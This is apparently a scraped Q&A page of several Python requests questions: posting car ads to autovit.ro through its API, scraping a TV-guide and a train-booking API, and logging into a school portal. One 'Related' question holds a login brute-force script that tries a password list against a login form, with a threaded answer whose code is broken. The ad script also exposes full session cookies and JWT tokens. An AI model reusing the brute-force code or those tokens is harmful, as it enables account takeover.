import requests
import json
from woocommerce import API
url2 = "http://ssl.autovit.ro/api/open/account/adverts"
url4 = "https://www.autovit.ro/api/open/imageCollections"
wcapi = API(
I wont show this, of course
)
r = wcapi.get('products?category=1880')
r = r.json()
print("Request sent Successfull!")
#r_string=r.text
### Request de generare si capturare token client
url = "https://www.autovit.ro/api/open/oauth/token"
payload = """
------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data;
name=\"client_id\"\r\n\r\n576\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data;
name=\"client_secret\"\r\n\r\33333\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data;
name=\"grant_type\"\r\n\r\npassword\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data;
name=\"username\"\r\n\r\n55555\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data;
name=\"password\"\r\n\r\n5555\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--
"""
headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
'User-Agent': "PostmanRuntime/7.15.0",
'Accept': "*/*",
'Cache-Control': "no-cache",
'Postman-Token': "08d86f5e-fcdb-4fdb-a570-b044e1ce2a4a,98ba3d2d-7a6f-4eaf-9c85-4512febf51d5",
'Host': "www.autovit.ro",
'cookie': "PHPSESSID=8ppb0muarimpt14g10nnq9j6qi; user_id=3235571; id_token=eyJraWQiOiJDY3ZTY1ljRE5MS294RzRFMktPSTltcU5zczJxcmN4dENWaG5Xd2JYNlEwPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIxZGZhNTA1ZS1kMzU1LTQ2NDEtOTA5My01ZTFmZDQ5MDgwMWUiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLmV1LXdlc3QtMS5hbWF6b25hd3MuY29tXC9ldS13ZXN0LTFfMTRNVnJ2bGhUIiwicGhvbmVfbnVtYmVyX3ZlcmlmaWVkIjpmYWxzZSwiY29nbml0bzp1c2VybmFtZSI6ImU5MTYxNzNlLTQyZGItNDExYy04MGRlLTZmNDI1MTFkMjQzZCIsImxvY2FsZSI6InJvIiwiYXVkIjoiNTE5Z2YycjQ2cDhoMWJxaW12Mm1kbWJzc2YiLCJldmVudF9pZCI6IjU4MzhjOWYwLTBkMGUtNDdkZC1iY2M3LTg4N2E0MTU1Mjc1MyIsInRva2VuX3VzZSI6ImlkIiwiYXV0aF90aW1lIjoxNjA3NTI4MTk1LCJleHAiOjE2MDc1MzE3OTUsImlhdCI6MTYwNzUyODE5NSwiZW1haWwiOiJtdWx0aWNvbWF1dG9AeWFob28uY29tIn0.HBalbgWl-EdXjQQT2NA1GkoVjapVixZ_YvREDCU6bEJhWrnXT2PLVE-5DN2uVdfwtI6uesTe4cn-x1MfyRD4g2JxPpaA11etDkjAqQeKckiQ5P2ubN4Kvb3HQvJLX_C-FG4B4PmbVTqXfljHgUFAHWZTJP742mGoI3tIZw7_yEgBaksS8Nwxihw3p6sPKygPuRSwQwDXfBNfP2oJYIgqhzdcT3Nnlc8-LBX5aIYA_CZdSyiU-D8I-nVHGR7JHKj5qXb2uVBP46KNIiH0Iq8HmgnpP4vjhio51va0v1LCLdtdGbm5rNbzGcZGf-zCKeCvf2L0EV9fqFmkOTbcEoOOXg; access_token=eyJraWQiOiJxSEl0RkdcL0ozKzNIVDd0aVR3dDZkYVVOQ2UwMzE0bXI2VGF3TDNWSEQ0UT0iLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiIxZGZhNTA1ZS1kMzU1LTQ2NDEtOTA5My01ZTFmZDQ5MDgwMWUiLCJldmVudF9pZCI6IjU4MzhjOWYwLTBkMGUtNDdkZC1iY2M3LTg4N2E0MTU1Mjc1MyIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE2MDc1MjgxOTUsImlzcyI6Imh0dHBzOlwvXC9jb2duaXRvLWlkcC5ldS13ZXN0LTEuYW1hem9uYXdzLmNvbVwvZXUtd2VzdC0xXzE0TVZydmxoVCIsImV4cCI6MTYwNzUzMTc5NSwiaWF0IjoxNjA3NTI4MTk1LCJqdGkiOiI0YmVjMTkwOC1kOGU1LTRiNWItYTk1OC1kZGUzZTNhZTRiNDYiLCJjbGllbnRfaWQiOiI1MTlnZjJyNDZwOGgxYnFpbXYybWRtYnNzZiIsInVzZXJuYW1lIjoiZTkxNjE3M2UtNDJkYi00MTFjLTgwZGUtNmY0MjUxMWQyNDNkIn0.OhSMdc54Ywgac_Qr5aVkuN_CkWQIa1TlFRyBqRedC_dAfk7kPLoUqUFPbvfvyczTsxu6wSkc4RRs5lR9HFSgaCrHNGyThd3GvFjuEAd8Ak2tqnNe9A7Ux77MYP0JAkbDUx94BJv3-wAwrRsIQCbSzbJa4VpObktl0ZzVTB34FUJ_4zuwquDGL0UN-Qq-Xhp0JdjJ3uu3okAyi3I52_cebuyuuFZmn1OpiRZyBc4BNT6zOhDfF5-1VuKLRtjFkWgsc7ENxVfmjnr1l5bATZX4XCD2wKTcjhs-IAldeS1JzUaZw5hsq1oR9rFGQ5u2BVvbY_TTlKkapGsOvBR1f1xM0g; refresh_token=eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.E_LEgltS3YUkrU1Z9xXeKbdAv0PDSgiRYms_ClyrDWkvcT8lBlm7fW77kG9BiJYtGNFUYLbA4psZdTFJI0W9w_QmQtIHLjYc4q3HjLgy8EqC9nHTaiCnpy5DLJy3FAcHxw-d8YGqaMEoV-5iqWypNBzqR-itGuzD57-q_EihRJFbyGstdyPHsFBOjww-LAPjmXmDWufHv8_Ha3nEgeWA3YQkmUy_9CEU14_RwUJeMrPeCRk9tylgRr_h1n_KOwXytjNw6GBs_I49YJotngEZCICNK6FL_czkOYkF4ylW8CHDBVybtxjzJcl5Bohl-RPBv_exl14fudwov1Fj_CXqZw.qiAGicVAAugBv0b4.LFIdBbSc0A6Hw6BjW_eBvgFCb6Nn0NeRVz4khxudzH_z490lPNYN_PDqQc_Sfj6kw8ESvb8tCjaDmQFnUZRRpfrX2DuTbgM_IpCJUVzoIP-2AZrXGi78jT-t_6zRwcv1Z51C2u6gaC7LGm4i2nuYYOr07ndE7Gjs1UHKN-A0E8I0ATx_GhSHT6r8Ld7US2CR4TSnF_X0_4L3jAcXS98Ru8vG5RNNs7tRS3EGwM31lWIqBVcI66R1q01KGLW291IqCdP8DeGRI10az9HnmXm4XxDZt10uT5GRgLqxLTu8pbgzCyL8yjSy6o7_j1h6lgWccb4zBwCRDnBr3ICHRvM7EjoMPkR91kBQmziw-XQTKcpWfvtNv8Dfwilq0lpbuezaVE7-fx9I54d66LrAW-QhyfMYAXaIEeKzxfrVB8pUXOzEAMfOuO0D-jfEKkttIMEonHZLNzl24Z1-gZo6XtcbviIaKw5nVlJyi_AUxzXUOURSE9QmzgdD6dGaU5J6ZBeHDdIcenGTceixArhBhvF9PV7WoWMlGv63G6gbtuV89NZ5cjr1GgjW-pmnfGuxv6Po0PxQAzY8AdDoK6pfAkn8L4gpAvMNbvC0PPVXV1OrfnaN7QsJ8yA-QEwdrENSml81JVdZZVMaHBMkrnkqHyH32eqES1PIORFgk-y7Ypi6WbScE9C-YPl1cOa8M3tnt2SaOod9x3_Q4qfi89_jb4MfBmIPZNltBVS3pZex2E5q53mL4NxAzes3XeIAog2jiSq-JsuAQt7f4p3-mFO4KpE7_18TAmZwbgzgHtQ0r10o2iqQQpYQzf3PIH5sOMi04aRSG4Q3LEzg_1nwLTZaW6O9aDklmuEgnKDEKyQW1BlW-LN5ICXEZovkMaOoU_luDomT7jYLRUY6v4CcmmnWDR2m7D84gA-3THEYJuR-aVxlnFsN5K6GGUEyETT17qK4ONqWMPR5w_GYenfV6N6tT_1rleHu1tjt5kAkCwU1o5oXhP4Q3hArJta7Par0xzM_I-whHI5ikrMHI83hrMu8nLSZ65h28gSc21ld94guaU-zCKIjvCo6gTqoGwbPd7yxopXSYYTqZ_-WPwDytITqf_Swj6GBG0yIiAu7-Zt10wmKgzfWARJECy4befAOiQMxReIuPaPC6kirEwyxMYXxq39WRqOfr-q_JjCrjyHugxPNmZaivFggfy9bqapScJK96-XHCTTyya78X-xmdu6VQjJiyE95G013aoau-X2-nkAswsOQhKDW2DR4EbRh2kO0yO8RRt8YU8a1OoED1W_mIuU2JvRJgUwGQnDiTFaL54w2GRrUSNVrL89s7MWnxg.vjAOfmEXwwfyOgFIW2Ti5Q; is_logged=1; newrelic_cdn_name=CF",
'accept-encoding': "gzip, deflate",
'content-length': "677",
'Connection': "keep-alive",
'cache-control': "no-cache"
}
rresponse = requests.request("POST", url,data=payload, headers=headers)
req=rresponse.text
print(req)
json_data = json.loads(rresponse.text)
token=(json_data.get('access_token'))
### End of first request
for i in r:
titlu=(i.get('name'))
cat_id="69"
city_id="6613"
lat="44.9578"
longi="25.5688"
tip="interior"
body_type="hatchback"
region_id="6"
delivery="1"
make="honda"
manufacturer="Nespecificat"
manufacturer_code="1234"
pret=(i.get('price'))
vat="1"
advertiser_type="business"
phone="0744000000"
color="blue"
engine_power="320"
engine_capacity="1996"
gearbox="manual"
transmission="front-wheel"
co2_emissions="177"
person = "Multicom Auto"
images = (i.get('images'))
preview = images[0]
imagine= (preview.get('src'))
imagine2 = str(imagine)
print(imagine2)
payload4 = "{\n \"1\": \""+imagine2+"\"\n}"
headers4 = {
'Authorization': "Bearer " + token ,
'Accept': "application/json",
'Version': "2",
'Content-Type': "application/json",
'User-Agent': "PostmanRuntime/7.15.0",
'Cache-Control': "no-cache",
'Postman-Token': "6f9f0c71-b854-4d7d-a7dd-a281b445eaef,868f6f2c-a87a-4e11-95e9-365972bb72ed",
'Host': "ssl.autovit.ro",
'cookie': "PHPSESSID=aq78pib4a5ei411mtvk7ts9jkq; user_id=3235571; is_logged=1; newrelic_cdn_name=CF",
'accept-encoding': "gzip, deflate",
'content-length': "99",
'Connection': "keep-alive",
'cache-control': "no-cache"
}
response4 = requests.request("POST", url4, data=payload4, headers=headers4)
descriere=(i.get('description'))
descriere2=descriere.replace("\n", "")
descriere3=descriere2.replace('<div>', '')
descriere5=descriere3.replace('</div>', '')
print(titlu + " \n " +descriere5)
json_id= response4.json()
image_collection_id= (json_id.get('id'))
print(response4)
### Start of Api POST Request
headers2 = {
'Authorization': "Bearer " + token,
'Accept': "application/json",
'Version': "2",
'Content-Type': "application/json",
'User-Agent': "PostmanRuntime/7.15.0",
'Cache-Control': "no-cache",
'Postman-Token': "04927f0a-cf06-4cb5-b83e-4eed29d1efec,829a1557-066a-4115-b134-66da62274203",
'Host': "ssl.autovit.ro",
'cookie': "PHPSESSID=iqfgqqgnbb15pk6ovt8bqvemm5; user_id=3235571; is_logged=1; id_token=eyJraWQiOiJDY3ZTY1ljRE5MS294RzRFMktPSTltcU5zczJxcmN4dENWaG5Xd2JYNlEwPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIxZGZhNTA1ZS1kMzU1LTQ2NDEtOTA5My01ZTFmZDQ5MDgwMWUiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLmV1LXdlc3QtMS5hbWF6b25hd3MuY29tXC9ldS13ZXN0LTFfMTRNVnJ2bGhUIiwicGhvbmVfbnVtYmVyX3ZlcmlmaWVkIjpmYWxzZSwiY29nbml0bzp1c2VybmFtZSI6ImU5MTYxNzNlLTQyZGItNDExYy04MGRlLTZmNDI1MTFkMjQzZCIsImxvY2FsZSI6InJvIiwiYXVkIjoiNTE5Z2YycjQ2cDhoMWJxaW12Mm1kbWJzc2YiLCJldmVudF9pZCI6IjNkMjNhODViLTFmZDQtNGE5YS05NGJiLWQ4MjMyOWNhNGQzYiIsInRva2VuX3VzZSI6ImlkIiwiYXV0aF90aW1lIjoxNjA3OTU1MDg5LCJleHAiOjE2MDc5NTg2ODksImlhdCI6MTYwNzk1NTA4OSwiZW1haWwiOiJtdWx0aWNvbWF1dG9AeWFob28uY29tIn0.HsKTCGiZ9rj9Tc9Bta8Eg-28XMnTOx5kzcuuFlV7DSPVAw9JH3zfSGK657RNE2SLMEt7CfYZwwUFAbgVXpEGci18kN1ekQj3CvzkPNigI_q8Lu4iQrt-cBJ72ZzZS5E7tYHZnsasB0mO4ZIZckILU0LjFwFVHTrt0M7ym9yCCYTCKdjZPJaIfbmIuv__RE1GDtWH2iazB19HvljOw4N2j8xnqFT0y0ZU-vGKckcTyhw_J7gnBasrzlGPRX60OIrcnJrfb53QHknfxbGqJYJjWSAhcVHWX7CZRse9vPKnjRVhxVL8qCfpf8GhITJARjg7cN_77j0OuXwa2s5bWlpEhg; access_token=eyJraWQiOiJxSEl0RkdcL0ozKzNIVDd0aVR3dDZkYVVOQ2UwMzE0bXI2VGF3TDNWSEQ0UT0iLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiIxZGZhNTA1ZS1kMzU1LTQ2NDEtOTA5My01ZTFmZDQ5MDgwMWUiLCJldmVudF9pZCI6IjNkMjNhODViLTFmZDQtNGE5YS05NGJiLWQ4MjMyOWNhNGQzYiIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE2MDc5NTUwODksImlzcyI6Imh0dHBzOlwvXC9jb2duaXRvLWlkcC5ldS13ZXN0LTEuYW1hem9uYXdzLmNvbVwvZXUtd2VzdC0xXzE0TVZydmxoVCIsImV4cCI6MTYwNzk1ODY4OSwiaWF0IjoxNjA3OTU1MDg5LCJqdGkiOiJjM2JlZjNhYi1kZDA2LTQzOTgtYjJjOC1hNGY0YmE5YjU1YTgiLCJjbGllbnRfaWQiOiI1MTlnZjJyNDZwOGgxYnFpbXYybWRtYnNzZiIsInVzZXJuYW1lIjoiZTkxNjE3M2UtNDJkYi00MTFjLTgwZGUtNmY0MjUxMWQyNDNkIn0.SrB8jc9gK-jZ4RL7EQEZmSYK2dmcvn7tEpHv6fz9UHoaj7421_ZaMyo1zJMwMYA0SOlYSOefesKpYINRUdKwinzVlSNtbbOKJc9CMZyjoIEIvCm0F-bdwK-jPGFbcFH7y2mQ3yzTNI0asJc7NO2QaXaO7pPM46L9IV10lBZYZ6sNDb6f6OjpPR9BipDpaLVRxH5h0QKgDHL1yY3NlpAqohvpD_6CKROMnLtpMO9GZ00fN_MxOM7BXb-H4M2TOxdc9HcLoCju80fMQ0HXWuOQMRUU4h5Of0j3B3qmCkubMza8k_uF7c2YAtbSb63I3INgkvQX5HaVMODA1E4ZkqWdpw; refresh_token=eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.a5LgkokKK_WUd3Yjk3_tZX-xy-oEhKLLiuXQbcEfa9GiMfzJB2yKvvnNwduH6VyA8OvPRJKByjDFWhu37Bli8Lf1RWAz1yd5s9m3Kxg2rDb6ECaQT96jy3y_jf_qTCF7S7t0NDxg6G8b5Gdk6Kwm5C20tnntr5-IVVxctsH0hEIVrKjVl3d84oA_sS67MoBPlgaF-NBZUOkL-kwzz3COSVSGziE2Hb9clh56ZxuK8uUcKD2xA0dD8i6wXujtwMzAOsdSuAZUZ3qkOG4yonNa9Sn9XV-L8FHIISLk0_KK9w2wGl9wXfoDbad7TnmfmmV2ujinK3HB3vIQdE7SQ7JXHw.eZS3I4UiaPbcOdbQ.fW8HX2tizpYWFE32nZhvZ1NufOTqhUQLfkx3Coh4tNk9TAECvYs8gEcx4GDBWTwohV7Kb1bLSPhbqQ7r1GdptWUt_Cru33hFX-BwTdh7BoBw18gKQjU5bfv0oYJ_izc-su63aNBz-yzKFxk06Gmj8qIjj9SrGGfLFlLgwTRP4-VtDn3pVxpkQ_jvKZfD8Mgj7_w0XkH3PZ-R9JuhWLSfIpzVicWL_oolx4NQEtNYGAHvc-nrb4Wcbp9v5uPfv0kS2t87Ofseus5_1ySMo-6O1whE84q95UzBvk36mkfWguaKFOOLmIGa4aFhJwgrBENleJuRxv5PCLt_gkGMoZr8y8V9kZEkdtYd2JHcrFwlkU20NPQc0GXNwWoFvAmb30C8ub0NgvV2KyxXENo0kvyxfXd4hwFeB1MgHJrHrvgh4axz8lOBul1depe2n6jJ5ogDSkxIKvX13O5Obqr6XtyV9DxIkXJoh3fXlMPYOjuu922PHf1yind8OPfA-dkt5M_T3ZF_EFHJ4znJmkpxi5-IO0zN9CVZSIEsNah56rFthcYO-GPbeF_eXT1V2iwnmLTuOz50_0qInOGcdL78SMomzYL4kJ9I7kWZQicbuTiNZu58fWSrcMLKGlqU3Oc0fm2RjBFyEy4XSgpcXr6k40MPqqxg7VIIgpvsKGIANiKrWtMlai_K6ZSR5ZDJvo3P74rE6F56tKDAq72bCXeSnBylrxTniPRXwk3gi_lHfzUgvPMnodgkI9NVMch0DZ_Pa4NbNLBfdh7aeR8sx7Vzfoz5wFVg9wuIwzSUp8A1JSha_KzcECY8GbEuaHfF1j6mF6R_Pue45BWlYyfBIz0J5zEPo9EXMqd4cWbrci7GhvEdeY6GGQTUUatwGNDVgz99hfmyf23AOAFu0w4IOgV7TlZvpt79vwBfJ0BDJwG-9ep1gM1tq7qLX_naTR6aWBN9d4KlILN52C9W2mWaMhGVTNST6I147L69lcITdjReuZPEuldE6mTl-W5TiTN1HHNbEBIRLRdd1XzLMlPbd1S6h8Ilwc6jYrt0GnWpnmMDJYOynoIv0A0eb-Loo79tVwjvfaUPuQDR7yBGT3Bwzec7RbVC6FQSI6BI1TlM0OeGW6eQ-gipjBV2CP9UF4HbcDWz2ZNOjNmlNwkqu63f4oxm1StyJRRHiPe0BPnVgBTtWrdli1dpM-d5YeTALNxowayUfPAiXb4Ih6MpGgnHYei2Tu5otVZz-jEEGeao0bG9Du7LHOtwd2C5OAw1hRS6NCC4QExETUjRWVk0vawLLDVTMVouRn6fXyKKBaM2kf1oc2td1J692mbyQCtmvmwNSw.65LsJCAJgfXFE6loW_JnsQ; newrelic_cdn_name=CF",
'accept-encoding': "gzip, deflate",
'content-length': "1062",
'Connection': "keep-alive",
'cache-control': "no-cache"
}
payload2 = "{\r\n \"title\":\" "+titlu+" \",\r\n \"category_id\":\" "+cat_id+" \",\r\n \"region_id\": \" "+region_id+" \",\r\n \"city_id\":\""+city_id+"\",\r\n \"coordinates\":{\r\n \"latitude\":\""+lat+"\",\r\n \"longitude\":\""+longi+"\"\r\n },\r\n \"params\":{\r\n \"type\":\""+tip+"\",\r\n \"delivery\":\""+delivery+"\",\r\n \"title\":\""+titlu+"\",\r\n \"make\":\""+make+"\",\r\n \"manufacturer\":\""+manufacturer+"\",\r\n \"manufacturer_code\":\""+manufacturer_code+"\",\r\n \"body_type\":\""+body_type+"\",\r\n \"color\":\""+color+"\",\r\n \"price\":{\r\n \"0\":\"price\",\r\n \"1\":"+pret+",\r\n \"currency\":\"RON\",\r\n \"gross_net\":\"gross\",\r\n },\r\n \"vat\":"+vat+",\r\n \"engine_power\":\""+engine_power+"\",\r\n \"engine_capacity\":\""+engine_capacity+"\",\r\n \"gearbox\":\""+gearbox+"\",\r\n \"transmission\":\""+transmission+"\",\r\n \"co2_emissions\":\""+co2_emissions+"\"\r\n },\r\n \"description\":\""+descriere5+"\",\r\n \"advertiser_type\":\""+advertiser_type+"\",\r\n \"image_collection_id\":\""+image_collection_id+"\",\r\n \"contact\":{\r\n \"person\":\""+person+"\",\r\n \"phone_numbers\":[\r\n \""+phone+"\"\r\n ]\r\n }\r\n}"
url9 = "https://www.autovit.ro/api/open/account/adverts"
headers9 = {
'Authorization': "Bearer" +" "+ token,
'Content-Type': "application/json",
}
response9 = requests.request("GET", url9, headers=headers9)
response9_json=response9.json()
response9_txt=str(response9_json)
if titlu in response9_txt:
print("Anuntul a fost deja adaugat!")
else:
payload2_json=json.dumps(payload2)
response2 = requests.request("POST", url2 ,json=payload2, headers=headers2)
print(response2.text)
This script is just doing a bunch of requests, then creates ads on that website through api. However it has just stopped working suddenly, anyone has any idea why it gives me "BadRequestException","message":"Empty payload". Been trying to fix it all night long but it just wont work. I am thinking maybe its the guys that have the websites changed the api a bit or its an error somewhere? I tried sending payload as json, as utf8 but its not working anymore, no matter how hard i try
Related
i am creating a custom tool for login bruteforce on web application for bug bounty hunting so i came to a bug on one web application which i had to create my own tool to bruteforce this is not a complete tool but i need solution for the current code for adding threads
import requests
import re
exploit = open('password.txt', 'r').readlines()
headers = {
'Host': 'TARGET.COM',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'iframe',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
for line in exploit:
params = {
'execution': '111u9342',
'client_id': 'client-23429df',
'tab_id': '234324',
}
password = line.strip()
http = requests.post('https://www.target.com/test',
params=params,
headers=headers,
data={'username':myname,'password':password},
verify=False,
proxies=proxies)
content = http.content
print("finished")
I am beginner in python
You can use it ThreadPoolExecuter;
from concurrent.futures import ThreadPoolExecutor
import requests
# ....Other code parts...
def base_post(url, header, data, proxies, timeout=10):
response = requests.post(url, headers=header, data=data, proxies=proxies, timeout=timeout)
return response
total_possibilities = []
exploit = []
for line in exploit:
params = {
'execution': '111u9342',
'client_id': 'client-23429df',
'tab_id': '234324',
}
password = line.strip()
total_possibilities.append({'url': "...",
"params": params,
"headers": headers,
"data": {'username': myname, 'password': password},
"verify": False,
"proxies": proxies
"content": http.content})
results = []
with ThreadPoolExecutor(max_workers=3) as executor:
for row in total_possibilities:
results.append(executor.submit(base_post, **row))
print(results)
Don't forget to update "max_workers" based on your needs.
I am tring to get the EPG data at the web page https://www.meo.pt/tv/canais-programacao/guia-tv using Python requests. I use this module a lot, but mainly the GET method. This request however is using POST. Everytime you scroll down the page, a request is sent to the API below using these params to load additional program data to the page:
import requests
#post request
url = 'https://www.meo.pt/_layouts/15/Ptsi.Isites.GridTv/GridTvMng.asmx/getProgramsFromChannels'
headers = {
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
'Connection': 'keep-alive',
'Content-Length': '214',
'Content-type': 'application/json; charset=UTF-8',
'Host': 'www.meo.pt',
'Origin': 'https://www.meo.pt',
'Referer': 'https://www.meo.pt/tv/canais-programacao/guia-tv',
'sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"',
'sec-ch-ua-mobile': '?0',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'X-KL-Ajax-Request': 'Ajax_Request'
}
data = {"service":"channelsguide",
"channels":["LVTV","TOROTV","CAÇAP","CAÇAV","RTPACRS","CLUBB","MCM T","TRACE","24KITC","E!"],
"dateStart":"2021-04-20T23:00:00.000Z",
"dateEnd":"2021-04-21T23:00:00.000Z",
"accountID":""}
r = requests.post(url=url, headers=headers, data=data)
print(r.text)
I have tried this request, both with and without the headers used, as I don't know if they are needed for a POST request. However, both these options don't return what i was expecting, which was a JSON object containing the program data for these channels.
What am I doing wrong?
Consider using json argument instead of data in request function. The json argument parses your body to JSON format while data you are sending a raw dictionary.
data = {"service":"channelsguide",
"channels":["LVTV","TOROTV","CAÇAP","CAÇAV","RTPACRS","CLUBB","MCM T","TRACE","24KITC","E!"],
"dateStart":"2021-04-20T23:00:00.000Z",
"dateEnd":"2021-04-21T23:00:00.000Z",
"accountID":""}
r = requests.post(url=url, headers=headers, json=data)
If you want to keep using data argument you should parse data dictionary to JSON to send the correct body format.
You can use this example how to POST json data to the API Url:
import json
import requests
url = "https://www.meo.pt/_layouts/15/Ptsi.Isites.GridTv/GridTvMng.asmx/getProgramsFromChannels"
payload = {
"accountID": "",
"channels": [
"SCPHD",
"EURHD",
"EURS2HD",
"DISNY",
"CART",
"BIGGS",
"SICK",
"NICKELO",
"DISNYJ",
"PANDA",
],
"dateEnd": "2021-04-21T22:00:00.000Z",
"dateStart": "2021-04-20T22:00:00.000Z",
"service": "channelsguide",
}
data = requests.post(url, json=payload).json()
# pretty print the data:
print(json.dumps(data, indent=4))
Prints:
{
"d": {
"__type": "Ptsi.Isites.GridTv.CanaisService.GridTV",
"ExtensionData": {},
"services": [],
"channels": [
{
"__type": "Ptsi.Isites.GridTv.CanaisService.Channels",
"ExtensionData": {},
"id": 36,
"name": "SPORTING TV HD",
"sigla": "SCPHD",
"friendlyUrlName": "Sporting_TV_HD",
"url": "https://meogo.meo.pt/direto?canalUrl=Sporting_TV_HD",
"meogo": true,
"logo": "https://www.meo.pt/PublishingImages/canais/sporting-tv-hd.png",
"isAdult": false,
"categories": [
{
"ExtensionData": {},
"id": 2,
"name": "Desporto"
}
],
...
If you want to keep using data argument you should parse data
dictionary to JSON to send the correct body format.
And you should set headers as:
headers = {
'Content-type': 'application/json'
}
complete code is:
import json
import requests
url = "https://www.meo.pt/_layouts/15/Ptsi.Isites.GridTv/GridTvMng.asmx/getProgramsFromChannels"
headers = {
'Content-type': 'application/json'
}
payload = {
"accountID": "",
"channels": [
"SCPHD",
"EURHD",
"EURS2HD",
"DISNY",
"CART",
"BIGGS",
"SICK",
"NICKELO",
"DISNYJ",
"PANDA",
],
"dateEnd": "2021-04-21T22:00:00.000Z",
"dateStart": "2021-04-20T22:00:00.000Z",
"service": "channelsguide",
}
resp = requests.post(url,headers=headers,data=json.dumps(payload))
print(resp.text)
I'm trying to populate json response issuing a post http requests with appropriate parameters from a webpage. When I run the script, I see that the script gets stuck and doesn't bring any result. It doesn't throw any error either. This is the site link. I chose three options from the three dropdowns from this form in that site before hitting Get times & tickets button.
I've tried with:
import requests
from bs4 import BeautifulSoup
url = 'https://www.thetrainline.com/'
link = 'https://www.thetrainline.com/api/journey-search/'
payload = {"passengers":[{"dateOfBirth":"1991-01-31"}],"isEurope":False,"cards":[],"transitDefinitions":[{"direction":"outward","origin":"1f06fc66ccd7ea92ae4b0a550e4ddfd1","destination":"7c25e933fd14386745a7f49423969308","journeyDate":{"type":"departAfter","time":"2021-02-11T22:45:00"}}],"type":"single","maximumJourneys":4,"includeRealtime":True,"applyFareDiscounts":True}
with requests.Session() as s:
s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36'
s.headers['content-type'] = 'application/json'
s.headers['accept'] = 'application/json'
r = s.post(link,json=payload)
print(r.status_code)
print(r.json())
How can I get json response issuing post requests with parameters from that site?
You are missing the required headers: x-version and referer. The referer header is referring to the search form and you can build it. Before journey-search you have to post an availability request.
import requests
from requests.models import PreparedRequest
headers = {
'authority': 'www.thetrainline.com',
'pragma': 'no-cache',
'cache-control': 'no-cache',
'x-version': '2.0.18186',
'dnt': '1',
'accept-language': 'en-GB',
'sec-ch-ua-mobile': '?0',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/88.0.4324.96 Safari/537.36',
'content-type': 'application/json',
'accept': 'application/json',
'origin': 'https://www.thetrainline.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
}
with requests.Session() as s:
origin = "6e2242b3f38bbbd8d8124e1d84d319e1"
destination = "15bcf02bc44ea754837c8cf14569f608"
localDateTime = "2021-02-03T19:30:00"
dateOfBirth = "1991-02-03"
passenger_type = "single"
req = PreparedRequest()
url = "http://www.neo4j.com"
params = {
"origin": origin,
"destination": destination,
"outwardDate": localDateTime,
"outwardDateType": "departAfter",
"journeySearchType": passenger_type,
"passengers[]": dateOfBirth
}
req.prepare_url("https://www.thetrainline.com/book/results", params)
headers.update({"referer": req.url})
s.headers = headers
payload_availability = {
"origin": origin,
"destination": destination,
"outwardDefinition": {
"localDateTime": localDateTime,
"searchMethod": "DEPARTAFTER"
},
"passengerBirthDates": [{
"id": "PASSENGER-0",
"dateOfBirth": dateOfBirth
}],
"maximumNumberOfJourneys": 4,
"discountCards": []
}
r = s.post('https://www.thetrainline.com/api/coaches/availability', json=payload_availability)
r.raise_for_status()
payload_search = {
"passengers": [{"dateOfBirth": "1991-02-03"}],
"isEurope": False,
"cards": [],
"transitDefinitions": [{
"direction": "outward",
"origin": origin,
"destination": destination,
"journeyDate": {
"type": "departAfter",
"time": localDateTime}
}],
"type": passenger_type,
"maximumJourneys": 4,
"includeRealtime": True,
"applyFareDiscounts": True
}
r = s.post('https://www.thetrainline.com/api/journey-search/', json=payload_search)
r.raise_for_status()
print(r.json())
As Sers's reply, headers are missing.
When scrawling websites, you have to keep in mind anti-scrawling mechanism. The website will block your requests by taking into consideration your IP address, request headers, cookies, and various other factors.
For fun, I'm trying to use Python requests to log on to my school's student portal. This is what I've come up with so far. I'm trying to be very explicit on the headers, because I'm getting a 200 status code (the code you also get when failing to login) instead of a 302 (successful login).
import sys
import os
import requests
